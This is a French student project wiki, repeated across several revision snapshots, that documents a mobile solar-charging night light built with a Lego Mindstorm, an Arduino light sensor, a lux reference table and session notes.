Durant cette séance nous avons dans un premier temps adapté le code pour nos besoins. En attendant un module Bluetooth pour pouvoir communiquer entre l'Arduino et le Mindstorm, nous avons écrit un code qui enregistrera la valeur maximale de luminosité lors de son lancement, ensuite d'attendre 3 secondes (cette période symbolise la recherche initiale de valeur maximale de luminosité) ensuite nous avons la variable keepMoving qui restera vrai, pour dire que la plateforme continue à changer de position, tant que la valeur maximale n'est pas trouvé (avec une marge bien-sur pour tenir compte de toute incertitude de mesure).

<pre>

int sensorPin = A0, rawValue, maxValue=0, marge = 50;
boolean firstSearch = false, searchAgain = false, keepMoving;

void setup()
{
analogReference(EXTERNAL);
Serial.begin(9600);
}

void loop()
{
while (firstSearch == false || searchAgain == true)
{
rawValue = analogRead(sensorPin);
if (rawValue > maxValue)
{
maxValue = rawValue;
}
searchAgain = false, firstSearch = true;
}

Serial.println("PAUSE");
//3seconds
delay(3000);
Serial.println("WERE BACK");

do
{
rawValue = analogRead(sensorPin);
if (rawValue < maxValue - marge)
{
keepMoving = true;
}
else
{
keepMoving = false;
}
Serial.println(keepMoving);
} while (keepMoving == true);

//delay(6000);
searchAgain = true;
}

</pre>

Dans un second temps nous avons commencé à prendre en main le Mindstorm ainsi que son logiciel de programmation pour comprendre son fonctionnement et comment s'en servir par la suite.

==Détail du travail de la troisième séance==
http://www.raspberry-projects.com/pi/pi-operating-systems/raspbian/bluetooth/bluetooth-commands

https://www.npmjs.com/package/bluetoothctl

https://lifehacker.com/everything-you-need-to-set-up-bluetooth-on-the-raspberr-1768482065

https://peip-ima.plil.fr/mediawiki/index.php/BE_2017-2018

==Détail du travail de la quatrième séance==
Réalisation carte.

<gallery widths="500px" heights="600px">
Fichier:carte_veilleuse.png|Photo 1 : M.
Fichier:Fichier:circuit_veilleuse.png|Photo 2 : A.
</gallery>

==Détail du travail de la cinquième séance==
Encore des essaies bluetooth et code mindstorm indépendant.

==Détail du travail de la sixième séance==

=Rendu=

==Poster==
Version électronique du poster :
[[Fichier:2017_IOT_P0_poster.png|center|500px|Notre poster]]

==Fichiers rendus==

Notre application : [[Media:2017_IOT_P0_application.zip]]

P4 IOT 2017

2018-01-23T18:27:43Z

Bhagui : /* Détail du travail de la quatrième séance */

=Présentation du sujet =

Nous avons choisi de réaliser une veilleuse mobile, une veilleuse qui cherchera le meilleur emplacement dans une pièce ( dans une ligne droite entre deux murs ou deux obstacles par exemple) pour recharger sa batterie grâce à un panneau solaire.

==Contexte==

Ce projet est réalisé dans le cadre du module transversale IOT (Internet of Things).

==Description du projet==

Nous allons utiliser un Mindstorm pour la plateforme mobile sur laquelle sera monté un ou plusieurs panneaux photovoltaïques. Aussi, ce dernier sera équipé d'un capteur de lumière car le but étant d'abord de déterminer l'endroit le plus lumineux disponible. Après avoir déterminé cet endroit, l'appareil sera capable à l'aide des panneaux photovoltaïque et une batterie rechargeable d'alimenter une veilleuse (une LED dans un premier temps).

=Réalisation=

==Matériel utilisé==

* Mindstorm
* Panneau photovoltaïque
* Capteur de lumière
* Arduino Uno

==Suivi de réalisation==
{| class="wikitable alternance centre"
|-
! scope="row" | Séance 1 (08/01/2018)
| Formation des groupes, chercher un sujet et faire valider ce-dernier.
|-
! scope="row" | Séance 2 (09/01/2018)
| Code d'utilisation du capteur lumière et initiation au Mindstorm.
|-
! scope="row" | Séance 3 (16/01/2018)
| Utilisation de Fritzing pour réaliser le circuit reliant le panneau photovoltaïque à la batterie
|-
! scope="row" | Séance 4 (17/01/2018)
| Finition du circuit sur Fritzing
|-
! scope="row" | Séance 5 (22/01/2018)
| Impression du circuit
|-
! scope="row" | Séance 6 (24/01/2018)
| Soutenance et présentation de notre projet au reste du groupe de module
|}

==Détail du travail de la première séance==

Durant cette première séance nous avons pu tester et étudier les valeurs de retour du capteur de luminosité et réfléchir à comment modifier le code pour réaliser notre projet. Vous trouverez ci-dessous le code utilisé pour tester le capteur:

<pre>

int sensorPin = A0; // select the input pin for the potentiometer

float rawRange = 1024; // 3.3v
float logRange = 5.0; // 3.3v = 10^5 lux

void setup()
{
analogReference(EXTERNAL); //
Serial.begin(9600);
Serial.println("Adafruit Analog Light Sensor Test");
}

void loop()
{
// read the raw value from the sensor:
int rawValue = analogRead(sensorPin);

Serial.print("Raw = ");
Serial.print(rawValue);
Serial.print(" - Lux = ");
Serial.println(RawToLux(rawValue));
delay(1000);
}

float RawToLux(int raw)
{
float logLux = raw * logRange / rawRange;
return pow(10, logLux);
}

</pre>

Voici un tableau avec nombreuses exemples de valeurs de retour et leurs équivalence:

{| class="wikitable alternance centre"
|-
! scope="row" | Illuminance
| Example
|-
! scope="row" | 0.002 lux
| Moonless clear night sky
|-
! scope="row" | 0.27 - 1 lux
| Full moon on a clear night
|-
! scope="row" | 3.4 lux
| Dark limit of civil twilight under a clear sky
|-
! scope="row" | 50 lux
| Family living room
|-
! scope="row" | 80 lux
| Hallway/toilet
|-
! scope="row" | 100 lux
| Very dark overcast day
|-
! scope="row" | 300 - 500 lux
| Sunrise or sunset on a clear day. Well-lit office area
|-
! scope="row" | 1,000 lux
| Overcast day; typical TV studio lighting
|-
! scope="row" | 10,000 - 25,000 lux
| Full daylight (not direct sun)
|-
! scope="row" | 32,000 - 130,000 lux
| Direct sunlight
|-
|}

https://learn.adafruit.com/adafruit-ga1a12s202-log-scale-analog-light-sensor/use-it

http://www.instructables.com/id/Solar-Battery-Charging/

==Détail du travail de la deuxième séance==

Durant cette séance nous avons dans un premier temps adapté le code pour nos besoins. En attendant un module Bluetooth pour pouvoir communiquer entre l'Arduino et le Mindstorm, nous avons écrit un code qui enregistrera la valeur maximale de luminosité lors de son lancement, ensuite d'attendre 3 secondes (cette période symbolise la recherche initiale de valeur maximale de luminosité) ensuite nous avons la variable keepMoving qui restera vrai, pour dire que la plateforme continue à changer de position, tant que la valeur maximale n'est pas trouvé (avec une marge bien-sur pour tenir compte de toute incertitude de mesure).

<pre>

int sensorPin = A0, rawValue, maxValue=0, marge = 50;
boolean firstSearch = false, searchAgain = false, keepMoving;

void setup()
{
analogReference(EXTERNAL);
Serial.begin(9600);
}

void loop()
{
while (firstSearch == false || searchAgain == true)
{
rawValue = analogRead(sensorPin);
if (rawValue > maxValue)
{
maxValue = rawValue;
}
searchAgain = false, firstSearch = true;
}

Serial.println("PAUSE");
//3seconds
delay(3000);
Serial.println("WERE BACK");

do
{
rawValue = analogRead(sensorPin);
if (rawValue < maxValue - marge)
{
keepMoving = true;
}
else
{
keepMoving = false;
}
Serial.println(keepMoving);
} while (keepMoving == true);

//delay(6000);
searchAgain = true;
}

</pre>

Dans un second temps nous avons commencé à prendre en main le Mindstorm ainsi que son logiciel de programmation pour comprendre son fonctionnement et comment s'en servir par la suite.

==Détail du travail de la troisième séance==
http://www.raspberry-projects.com/pi/pi-operating-systems/raspbian/bluetooth/bluetooth-commands

https://www.npmjs.com/package/bluetoothctl

https://lifehacker.com/everything-you-need-to-set-up-bluetooth-on-the-raspberr-1768482065

https://peip-ima.plil.fr/mediawiki/index.php/BE_2017-2018

==Détail du travail de la quatrième séance==
Réalisation carte.

<gallery widths="500px" heights="600px">
Fichier:carte_veilleuse.png|Photo 1 : M.
Fichier:Fichier:carte_veilleuse.png|Photo 2 : A.
</gallery>

==Détail du travail de la cinquième séance==
Encore des essaies bluetooth et code mindstorm indépendant.

==Détail du travail de la sixième séance==

=Rendu=

==Poster==
Version électronique du poster :
[[Fichier:2017_IOT_P0_poster.png|center|500px|Notre poster]]

==Fichiers rendus==

Notre application : [[Media:2017_IOT_P0_application.zip]]

P4 IOT 2017

2018-01-23T18:23:58Z

Bhagui : /* Détail du travail de la quatrième séance */

=Présentation du sujet =

Nous avons choisi de réaliser une veilleuse mobile, une veilleuse qui cherchera le meilleur emplacement dans une pièce ( dans une ligne droite entre deux murs ou deux obstacles par exemple) pour recharger sa batterie grâce à un panneau solaire.

==Contexte==

Ce projet est réalisé dans le cadre du module transversale IOT (Internet of Things).

==Description du projet==

Nous allons utiliser un Mindstorm pour la plateforme mobile sur laquelle sera monté un ou plusieurs panneaux photovoltaïques. Aussi, ce dernier sera équipé d'un capteur de lumière car le but étant d'abord de déterminer l'endroit le plus lumineux disponible. Après avoir déterminé cet endroit, l'appareil sera capable à l'aide des panneaux photovoltaïque et une batterie rechargeable d'alimenter une veilleuse (une LED dans un premier temps).

=Réalisation=

==Matériel utilisé==

* Mindstorm
* Panneau photovoltaïque
* Capteur de lumière
* Arduino Uno

==Suivi de réalisation==
{| class="wikitable alternance centre"
|-
! scope="row" | Séance 1 (08/01/2018)
| Formation des groupes, chercher un sujet et faire valider ce-dernier.
|-
! scope="row" | Séance 2 (09/01/2018)
| Code d'utilisation du capteur lumière et initiation au Mindstorm.
|-
! scope="row" | Séance 3 (16/01/2018)
| Utilisation de Fritzing pour réaliser le circuit reliant le panneau photovoltaïque à la batterie
|-
! scope="row" | Séance 4 (17/01/2018)
| Finition du circuit sur Fritzing
|-
! scope="row" | Séance 5 (22/01/2018)
| Impression du circuit
|-
! scope="row" | Séance 6 (24/01/2018)
| Soutenance et présentation de notre projet au reste du groupe de module
|}

==Détail du travail de la première séance==

Durant cette première séance nous avons pu tester et étudier les valeurs de retour du capteur de luminosité et réfléchir à comment modifier le code pour réaliser notre projet. Vous trouverez ci-dessous le code utilisé pour tester le capteur:

<pre>

int sensorPin = A0; // select the input pin for the potentiometer

float rawRange = 1024; // 3.3v
float logRange = 5.0; // 3.3v = 10^5 lux

void setup()
{
analogReference(EXTERNAL); //
Serial.begin(9600);
Serial.println("Adafruit Analog Light Sensor Test");
}

void loop()
{
// read the raw value from the sensor:
int rawValue = analogRead(sensorPin);

Serial.print("Raw = ");
Serial.print(rawValue);
Serial.print(" - Lux = ");
Serial.println(RawToLux(rawValue));
delay(1000);
}

float RawToLux(int raw)
{
float logLux = raw * logRange / rawRange;
return pow(10, logLux);
}

</pre>

Voici un tableau avec nombreuses exemples de valeurs de retour et leurs équivalence:

{| class="wikitable alternance centre"
|-
! scope="row" | Illuminance
| Example
|-
! scope="row" | 0.002 lux
| Moonless clear night sky
|-
! scope="row" | 0.27 - 1 lux
| Full moon on a clear night
|-
! scope="row" | 3.4 lux
| Dark limit of civil twilight under a clear sky
|-
! scope="row" | 50 lux
| Family living room
|-
! scope="row" | 80 lux
| Hallway/toilet
|-
! scope="row" | 100 lux
| Very dark overcast day
|-
! scope="row" | 300 - 500 lux
| Sunrise or sunset on a clear day. Well-lit office area
|-
! scope="row" | 1,000 lux
| Overcast day; typical TV studio lighting
|-
! scope="row" | 10,000 - 25,000 lux
| Full daylight (not direct sun)
|-
! scope="row" | 32,000 - 130,000 lux
| Direct sunlight
|-
|}

https://learn.adafruit.com/adafruit-ga1a12s202-log-scale-analog-light-sensor/use-it

http://www.instructables.com/id/Solar-Battery-Charging/

==Détail du travail de la deuxième séance==

Durant cette séance nous avons dans un premier temps adapté le code pour nos besoins. En attendant un module Bluetooth pour pouvoir communiquer entre l'Arduino et le Mindstorm, nous avons écrit un code qui enregistrera la valeur maximale de luminosité lors de son lancement, ensuite d'attendre 3 secondes (cette période symbolise la recherche initiale de valeur maximale de luminosité) ensuite nous avons la variable keepMoving qui restera vrai, pour dire que la plateforme continue à changer de position, tant que la valeur maximale n'est pas trouvé (avec une marge bien-sur pour tenir compte de toute incertitude de mesure).

<pre>

int sensorPin = A0, rawValue, maxValue=0, marge = 50;
boolean firstSearch = false, searchAgain = false, keepMoving;

void setup()
{
analogReference(EXTERNAL);
Serial.begin(9600);
}

void loop()
{
while (firstSearch == false || searchAgain == true)
{
rawValue = analogRead(sensorPin);
if (rawValue > maxValue)
{
maxValue = rawValue;
}
searchAgain = false, firstSearch = true;
}

Serial.println("PAUSE");
//3seconds
delay(3000);
Serial.println("WERE BACK");

do
{
rawValue = analogRead(sensorPin);
if (rawValue < maxValue - marge)
{
keepMoving = true;
}
else
{
keepMoving = false;
}
Serial.println(keepMoving);
} while (keepMoving == true);

//delay(6000);
searchAgain = true;
}

</pre>

Dans un second temps nous avons commencé à prendre en main le Mindstorm ainsi que son logiciel de programmation pour comprendre son fonctionnement et comment s'en servir par la suite.

==Détail du travail de la troisième séance==
http://www.raspberry-projects.com/pi/pi-operating-systems/raspbian/bluetooth/bluetooth-commands

https://www.npmjs.com/package/bluetoothctl

https://lifehacker.com/everything-you-need-to-set-up-bluetooth-on-the-raspberr-1768482065

https://peip-ima.plil.fr/mediawiki/index.php/BE_2017-2018

==Détail du travail de la quatrième séance==
Réalisation carte.
[[Fichier:carte_veilleuse.png]]
[[Fichier:circuit_veilleuse.png]]

==Détail du travail de la cinquième séance==
Encore des essaies bluetooth et code mindstorm indépendant.

==Détail du travail de la sixième séance==

=Rendu=

==Poster==
Version électronique du poster :
[[Fichier:2017_IOT_P0_poster.png|center|500px|Notre poster]]

==Fichiers rendus==

Notre application : [[Media:2017_IOT_P0_application.zip]]

Fichier:Circuit veilleuse.png

2018-01-23T18:23:34Z

Bhagui :

P4 IOT 2017

2018-01-23T18:23:16Z

Bhagui : /* Détail du travail de la quatrième séance */

=Présentation du sujet =

Nous avons choisi de réaliser une veilleuse mobile, une veilleuse qui cherchera le meilleur emplacement dans une pièce ( dans une ligne droite entre deux murs ou deux obstacles par exemple) pour recharger sa batterie grâce à un panneau solaire.

==Contexte==

Ce projet est réalisé dans le cadre du module transversale IOT (Internet of Things).

==Description du projet==

Nous allons utiliser un Mindstorm pour la plateforme mobile sur laquelle sera monté un ou plusieurs panneaux photovoltaïques. Aussi, ce dernier sera équipé d'un capteur de lumière car le but étant d'abord de déterminer l'endroit le plus lumineux disponible. Après avoir déterminé cet endroit, l'appareil sera capable à l'aide des panneaux photovoltaïque et une batterie rechargeable d'alimenter une veilleuse (une LED dans un premier temps).

=Réalisation=

==Matériel utilisé==

* Mindstorm
* Panneau photovoltaïque
* Capteur de lumière
* Arduino Uno

==Suivi de réalisation==
{| class="wikitable alternance centre"
|-
! scope="row" | Séance 1 (08/01/2018)
| Formation des groupes, chercher un sujet et faire valider ce-dernier.
|-
! scope="row" | Séance 2 (09/01/2018)
| Code d'utilisation du capteur lumière et initiation au Mindstorm.
|-
! scope="row" | Séance 3 (16/01/2018)
| Utilisation de Fritzing pour réaliser le circuit reliant le panneau photovoltaïque à la batterie
|-
! scope="row" | Séance 4 (17/01/2018)
| Finition du circuit sur Fritzing
|-
! scope="row" | Séance 5 (22/01/2018)
| Impression du circuit
|-
! scope="row" | Séance 6 (24/01/2018)
| Soutenance et présentation de notre projet au reste du groupe de module
|}

==Détail du travail de la première séance==

Durant cette première séance nous avons pu tester et étudier les valeurs de retour du capteur de luminosité et réfléchir à comment modifier le code pour réaliser notre projet. Vous trouverez ci-dessous le code utilisé pour tester le capteur:

<pre>

int sensorPin = A0; // select the input pin for the potentiometer

float rawRange = 1024; // 3.3v
float logRange = 5.0; // 3.3v = 10^5 lux

void setup()
{
analogReference(EXTERNAL); //
Serial.begin(9600);
Serial.println("Adafruit Analog Light Sensor Test");
}

void loop()
{
// read the raw value from the sensor:
int rawValue = analogRead(sensorPin);

Serial.print("Raw = ");
Serial.print(rawValue);
Serial.print(" - Lux = ");
Serial.println(RawToLux(rawValue));
delay(1000);
}

float RawToLux(int raw)
{
float logLux = raw * logRange / rawRange;
return pow(10, logLux);
}

</pre>

Voici un tableau avec nombreuses exemples de valeurs de retour et leurs équivalence:

{| class="wikitable alternance centre"
|-
! scope="row" | Illuminance
| Example
|-
! scope="row" | 0.002 lux
| Moonless clear night sky
|-
! scope="row" | 0.27 - 1 lux
| Full moon on a clear night
|-
! scope="row" | 3.4 lux
| Dark limit of civil twilight under a clear sky
|-
! scope="row" | 50 lux
| Family living room
|-
! scope="row" | 80 lux
| Hallway/toilet
|-
! scope="row" | 100 lux
| Very dark overcast day
|-
! scope="row" | 300 - 500 lux
| Sunrise or sunset on a clear day. Well-lit office area
|-
! scope="row" | 1,000 lux
| Overcast day; typical TV studio lighting
|-
! scope="row" | 10,000 - 25,000 lux
| Full daylight (not direct sun)
|-
! scope="row" | 32,000 - 130,000 lux
| Direct sunlight
|-
|}

https://learn.adafruit.com/adafruit-ga1a12s202-log-scale-analog-light-sensor/use-it

http://www.instructables.com/id/Solar-Battery-Charging/

==Détail du travail de la deuxième séance==

Durant cette séance nous avons dans un premier temps adapté le code pour nos besoins. En attendant un module Bluetooth pour pouvoir communiquer entre l'Arduino et le Mindstorm, nous avons écrit un code qui enregistrera la valeur maximale de luminosité lors de son lancement, ensuite d'attendre 3 secondes (cette période symbolise la recherche initiale de valeur maximale de luminosité) ensuite nous avons la variable keepMoving qui restera vrai, pour dire que la plateforme continue à changer de position, tant que la valeur maximale n'est pas trouvé (avec une marge bien-sur pour tenir compte de toute incertitude de mesure).

<pre>

int sensorPin = A0, rawValue, maxValue=0, marge = 50;
boolean firstSearch = false, searchAgain = false, keepMoving;

void setup()
{
analogReference(EXTERNAL);
Serial.begin(9600);
}

void loop()
{
while (firstSearch == false || searchAgain == true)
{
rawValue = analogRead(sensorPin);
if (rawValue > maxValue)
{
maxValue = rawValue;
}
searchAgain = false, firstSearch = true;
}

Serial.println("PAUSE");
//3seconds
delay(3000);
Serial.println("WERE BACK");

do
{
rawValue = analogRead(sensorPin);
if (rawValue < maxValue - marge)
{
keepMoving = true;
}
else
{
keepMoving = false;
}
Serial.println(keepMoving);
} while (keepMoving == true);

//delay(6000);
searchAgain = true;
}

</pre>

Dans un second temps nous avons commencé à prendre en main le Mindstorm ainsi que son logiciel de programmation pour comprendre son fonctionnement et comment s'en servir par la suite.

==Détail du travail de la troisième séance==
http://www.raspberry-projects.com/pi/pi-operating-systems/raspbian/bluetooth/bluetooth-commands

https://www.npmjs.com/package/bluetoothctl

https://lifehacker.com/everything-you-need-to-set-up-bluetooth-on-the-raspberr-1768482065

https://peip-ima.plil.fr/mediawiki/index.php/BE_2017-2018

==Détail du travail de la quatrième séance==
Réalisation carte.
[[Fichier:carte_veilleuse.png]]
[[Fichier:circuit_veilleuse.jpg]]

==Détail du travail de la cinquième séance==
Encore des essaies bluetooth et code mindstorm indépendant.

==Détail du travail de la sixième séance==

=Rendu=

==Poster==
Version électronique du poster :
[[Fichier:2017_IOT_P0_poster.png|center|500px|Notre poster]]

==Fichiers rendus==

Notre application : [[Media:2017_IOT_P0_application.zip]]

Fichier:Carte veilleuse.png

2018-01-23T18:22:43Z

Bhagui :

P4 IOT 2017

2018-01-23T18:21:51Z

Bhagui : /* Détail du travail de la quatrième séance */

=Présentation du sujet =

Nous avons choisi de réaliser une veilleuse mobile, une veilleuse qui cherchera le meilleur emplacement dans une pièce ( dans une ligne droite entre deux murs ou deux obstacles par exemple) pour recharger sa batterie grâce à un panneau solaire.

==Contexte==

Ce projet est réalisé dans le cadre du module transversale IOT (Internet of Things).

==Description du projet==

Nous allons utiliser un Mindstorm pour la plateforme mobile sur laquelle sera monté un ou plusieurs panneaux photovoltaïques. Aussi, ce dernier sera équipé d'un capteur de lumière car le but étant d'abord de déterminer l'endroit le plus lumineux disponible. Après avoir déterminé cet endroit, l'appareil sera capable à l'aide des panneaux photovoltaïque et une batterie rechargeable d'alimenter une veilleuse (une LED dans un premier temps).

=Réalisation=

==Matériel utilisé==

* Mindstorm
* Panneau photovoltaïque
* Capteur de lumière
* Arduino Uno

==Suivi de réalisation==
{| class="wikitable alternance centre"
|-
! scope="row" | Séance 1 (08/01/2018)
| Formation des groupes, chercher un sujet et faire valider ce-dernier.
|-
! scope="row" | Séance 2 (09/01/2018)
| Code d'utilisation du capteur lumière et initiation au Mindstorm.
|-
! scope="row" | Séance 3 (16/01/2018)
| Utilisation de Fritzing pour réaliser le circuit reliant le panneau photovoltaïque à la batterie
|-
! scope="row" | Séance 4 (17/01/2018)
| Finition du circuit sur Fritzing
|-
! scope="row" | Séance 5 (22/01/2018)
| Impression du circuit
|-
! scope="row" | Séance 6 (24/01/2018)
| Soutenance et présentation de notre projet au reste du groupe de module
|}

==Détail du travail de la première séance==

Durant cette première séance nous avons pu tester et étudier les valeurs de retour du capteur de luminosité et réfléchir à comment modifier le code pour réaliser notre projet. Vous trouverez ci-dessous le code utilisé pour tester le capteur:

<pre>

int sensorPin = A0; // select the input pin for the potentiometer

float rawRange = 1024; // 3.3v
float logRange = 5.0; // 3.3v = 10^5 lux

void setup()
{
analogReference(EXTERNAL); //
Serial.begin(9600);
Serial.println("Adafruit Analog Light Sensor Test");
}

void loop()
{
// read the raw value from the sensor:
int rawValue = analogRead(sensorPin);

Serial.print("Raw = ");
Serial.print(rawValue);
Serial.print(" - Lux = ");
Serial.println(RawToLux(rawValue));
delay(1000);
}

float RawToLux(int raw)
{
float logLux = raw * logRange / rawRange;
return pow(10, logLux);
}

</pre>

Voici un tableau avec nombreuses exemples de valeurs de retour et leurs équivalence:

{| class="wikitable alternance centre"
|-
! scope="row" | Illuminance
| Example
|-
! scope="row" | 0.002 lux
| Moonless clear night sky
|-
! scope="row" | 0.27 - 1 lux
| Full moon on a clear night
|-
! scope="row" | 3.4 lux
| Dark limit of civil twilight under a clear sky
|-
! scope="row" | 50 lux
| Family living room
|-
! scope="row" | 80 lux
| Hallway/toilet
|-
! scope="row" | 100 lux
| Very dark overcast day
|-
! scope="row" | 300 - 500 lux
| Sunrise or sunset on a clear day. Well-lit office area
|-
! scope="row" | 1,000 lux
| Overcast day; typical TV studio lighting
|-
! scope="row" | 10,000 - 25,000 lux
| Full daylight (not direct sun)
|-
! scope="row" | 32,000 - 130,000 lux
| Direct sunlight
|-
|}

https://learn.adafruit.com/adafruit-ga1a12s202-log-scale-analog-light-sensor/use-it

http://www.instructables.com/id/Solar-Battery-Charging/

==Détail du travail de la deuxième séance==

Durant cette séance nous avons dans un premier temps adapté le code pour nos besoins. En attendant un module Bluetooth pour pouvoir communiquer entre l'Arduino et le Mindstorm, nous avons écrit un code qui enregistrera la valeur maximale de luminosité lors de son lancement, ensuite d'attendre 3 secondes (cette période symbolise la recherche initiale de valeur maximale de luminosité) ensuite nous avons la variable keepMoving qui restera vrai, pour dire que la plateforme continue à changer de position, tant que la valeur maximale n'est pas trouvé (avec une marge bien-sur pour tenir compte de toute incertitude de mesure).

<pre>

int sensorPin = A0, rawValue, maxValue=0, marge = 50;
boolean firstSearch = false, searchAgain = false, keepMoving;

void setup()
{
analogReference(EXTERNAL);
Serial.begin(9600);
}

void loop()
{
while (firstSearch == false || searchAgain == true)
{
rawValue = analogRead(sensorPin);
if (rawValue > maxValue)
{
maxValue = rawValue;
}
searchAgain = false, firstSearch = true;
}

Serial.println("PAUSE");
//3seconds
delay(3000);
Serial.println("WERE BACK");

do
{
rawValue = analogRead(sensorPin);
if (rawValue < maxValue - marge)
{
keepMoving = true;
}
else
{
keepMoving = false;
}
Serial.println(keepMoving);
} while (keepMoving == true);

//delay(6000);
searchAgain = true;
}

</pre>

Dans un second temps nous avons commencé à prendre en main le Mindstorm ainsi que son logiciel de programmation pour comprendre son fonctionnement et comment s'en servir par la suite.

==Détail du travail de la troisième séance==
http://www.raspberry-projects.com/pi/pi-operating-systems/raspbian/bluetooth/bluetooth-commands

https://www.npmjs.com/package/bluetoothctl

https://lifehacker.com/everything-you-need-to-set-up-bluetooth-on-the-raspberr-1768482065

https://peip-ima.plil.fr/mediawiki/index.php/BE_2017-2018

==Détail du travail de la quatrième séance==
Réalisation carte.
[[Fichier:carte_veilleuse.jpg]]
[[Fichier:circuit_veilleuse.jpg]]

==Détail du travail de la cinquième séance==
Encore des essaies bluetooth et code mindstorm indépendant.

==Détail du travail de la sixième séance==

=Rendu=

==Poster==
Version électronique du poster :
[[Fichier:2017_IOT_P0_poster.png|center|500px|Notre poster]]

==Fichiers rendus==

Notre application : [[Media:2017_IOT_P0_application.zip]]

P4 IOT 2017

2018-01-23T18:21:16Z

Bhagui : /* Détail du travail de la quatrième séance */

=Présentation du sujet =

Nous avons choisi de réaliser une veilleuse mobile, une veilleuse qui cherchera le meilleur emplacement dans une pièce ( dans une ligne droite entre deux murs ou deux obstacles par exemple) pour recharger sa batterie grâce à un panneau solaire.

==Contexte==

Ce projet est réalisé dans le cadre du module transversale IOT (Internet of Things).

==Description du projet==

Nous allons utiliser un Mindstorm pour la plateforme mobile sur laquelle sera monté un ou plusieurs panneaux photovoltaïques. Aussi, ce dernier sera équipé d'un capteur de lumière car le but étant d'abord de déterminer l'endroit le plus lumineux disponible. Après avoir déterminé cet endroit, l'appareil sera capable à l'aide des panneaux photovoltaïque et une batterie rechargeable d'alimenter une veilleuse (une LED dans un premier temps).

=Réalisation=

==Matériel utilisé==

* Mindstorm
* Panneau photovoltaïque
* Capteur de lumière
* Arduino Uno

==Suivi de réalisation==
{| class="wikitable alternance centre"
|-
! scope="row" | Séance 1 (08/01/2018)
| Formation des groupes, chercher un sujet et faire valider ce-dernier.
|-
! scope="row" | Séance 2 (09/01/2018)
| Code d'utilisation du capteur lumière et initiation au Mindstorm.
|-
! scope="row" | Séance 3 (16/01/2018)
| Utilisation de Fritzing pour réaliser le circuit reliant le panneau photovoltaïque à la batterie
|-
! scope="row" | Séance 4 (17/01/2018)
| Finition du circuit sur Fritzing
|-
! scope="row" | Séance 5 (22/01/2018)
| Impression du circuit
|-
! scope="row" | Séance 6 (24/01/2018)
| Soutenance et présentation de notre projet au reste du groupe de module
|}

==Détail du travail de la première séance==

Durant cette première séance nous avons pu tester et étudier les valeurs de retour du capteur de luminosité et réfléchir à comment modifier le code pour réaliser notre projet. Vous trouverez ci-dessous le code utilisé pour tester le capteur:

<pre>

int sensorPin = A0; // select the input pin for the potentiometer

float rawRange = 1024; // 3.3v
float logRange = 5.0; // 3.3v = 10^5 lux

void setup()
{
analogReference(EXTERNAL); //
Serial.begin(9600);
Serial.println("Adafruit Analog Light Sensor Test");
}

void loop()
{
// read the raw value from the sensor:
int rawValue = analogRead(sensorPin);

Serial.print("Raw = ");
Serial.print(rawValue);
Serial.print(" - Lux = ");
Serial.println(RawToLux(rawValue));
delay(1000);
}

float RawToLux(int raw)
{
float logLux = raw * logRange / rawRange;
return pow(10, logLux);
}

</pre>

Voici un tableau avec nombreuses exemples de valeurs de retour et leurs équivalence:

{| class="wikitable alternance centre"
|-
! scope="row" | Illuminance
| Example
|-
! scope="row" | 0.002 lux
| Moonless clear night sky
|-
! scope="row" | 0.27 - 1 lux
| Full moon on a clear night
|-
! scope="row" | 3.4 lux
| Dark limit of civil twilight under a clear sky
|-
! scope="row" | 50 lux
| Family living room
|-
! scope="row" | 80 lux
| Hallway/toilet
|-
! scope="row" | 100 lux
| Very dark overcast day
|-
! scope="row" | 300 - 500 lux
| Sunrise or sunset on a clear day. Well-lit office area
|-
! scope="row" | 1,000 lux
| Overcast day; typical TV studio lighting
|-
! scope="row" | 10,000 - 25,000 lux
| Full daylight (not direct sun)
|-
! scope="row" | 32,000 - 130,000 lux
| Direct sunlight
|-
|}

https://learn.adafruit.com/adafruit-ga1a12s202-log-scale-analog-light-sensor/use-it

http://www.instructables.com/id/Solar-Battery-Charging/

==Détail du travail de la deuxième séance==

Durant cette séance nous avons dans un premier temps adapté le code pour nos besoins. En attendant un module Bluetooth pour pouvoir communiquer entre l'Arduino et le Mindstorm, nous avons écrit un code qui enregistrera la valeur maximale de luminosité lors de son lancement, ensuite d'attendre 3 secondes (cette période symbolise la recherche initiale de valeur maximale de luminosité) ensuite nous avons la variable keepMoving qui restera vrai, pour dire que la plateforme continue à changer de position, tant que la valeur maximale n'est pas trouvé (avec une marge bien-sur pour tenir compte de toute incertitude de mesure).

<pre>

int sensorPin = A0, rawValue, maxValue=0, marge = 50;
boolean firstSearch = false, searchAgain = false, keepMoving;

void setup()
{
analogReference(EXTERNAL);
Serial.begin(9600);
}

void loop()
{
while (firstSearch == false || searchAgain == true)
{
rawValue = analogRead(sensorPin);
if (rawValue > maxValue)
{
maxValue = rawValue;
}
searchAgain = false, firstSearch = true;
}

Serial.println("PAUSE");
//3seconds
delay(3000);
Serial.println("WERE BACK");

do
{
rawValue = analogRead(sensorPin);
if (rawValue < maxValue - marge)
{
keepMoving = true;
}
else
{
keepMoving = false;
}
Serial.println(keepMoving);
} while (keepMoving == true);

//delay(6000);
searchAgain = true;
}

</pre>

Dans un second temps nous avons commencé à prendre en main le Mindstorm ainsi que son logiciel de programmation pour comprendre son fonctionnement et comment s'en servir par la suite.

==Détail du travail de la troisième séance==
http://www.raspberry-projects.com/pi/pi-operating-systems/raspbian/bluetooth/bluetooth-commands

https://www.npmjs.com/package/bluetoothctl

https://lifehacker.com/everything-you-need-to-set-up-bluetooth-on-the-raspberr-1768482065

https://peip-ima.plil.fr/mediawiki/index.php/BE_2017-2018

==Détail du travail de la quatrième séance==
Réalisation carte.
[[Fichier:carte.jpg]]
[[Fichier:circuit.jpg]]

==Détail du travail de la cinquième séance==
Encore des essaies bluetooth et code mindstorm indépendant.

==Détail du travail de la sixième séance==

=Rendu=

==Poster==
Version électronique du poster :
[[Fichier:2017_IOT_P0_poster.png|center|500px|Notre poster]]

==Fichiers rendus==

Notre application : [[Media:2017_IOT_P0_application.zip]]

P4 IOT 2017

2018-01-23T14:44:08Z

Bhagui : /* Détail du travail de la cinquième séance */

=Présentation du sujet =

Nous avons choisi de réaliser une veilleuse mobile, une veilleuse qui cherchera le meilleur emplacement dans une pièce ( dans une ligne droite entre deux murs ou deux obstacles par exemple) pour recharger sa batterie grâce à un panneau solaire.

==Contexte==

Ce projet est réalisé dans le cadre du module transversale IOT (Internet of Things).

==Description du projet==

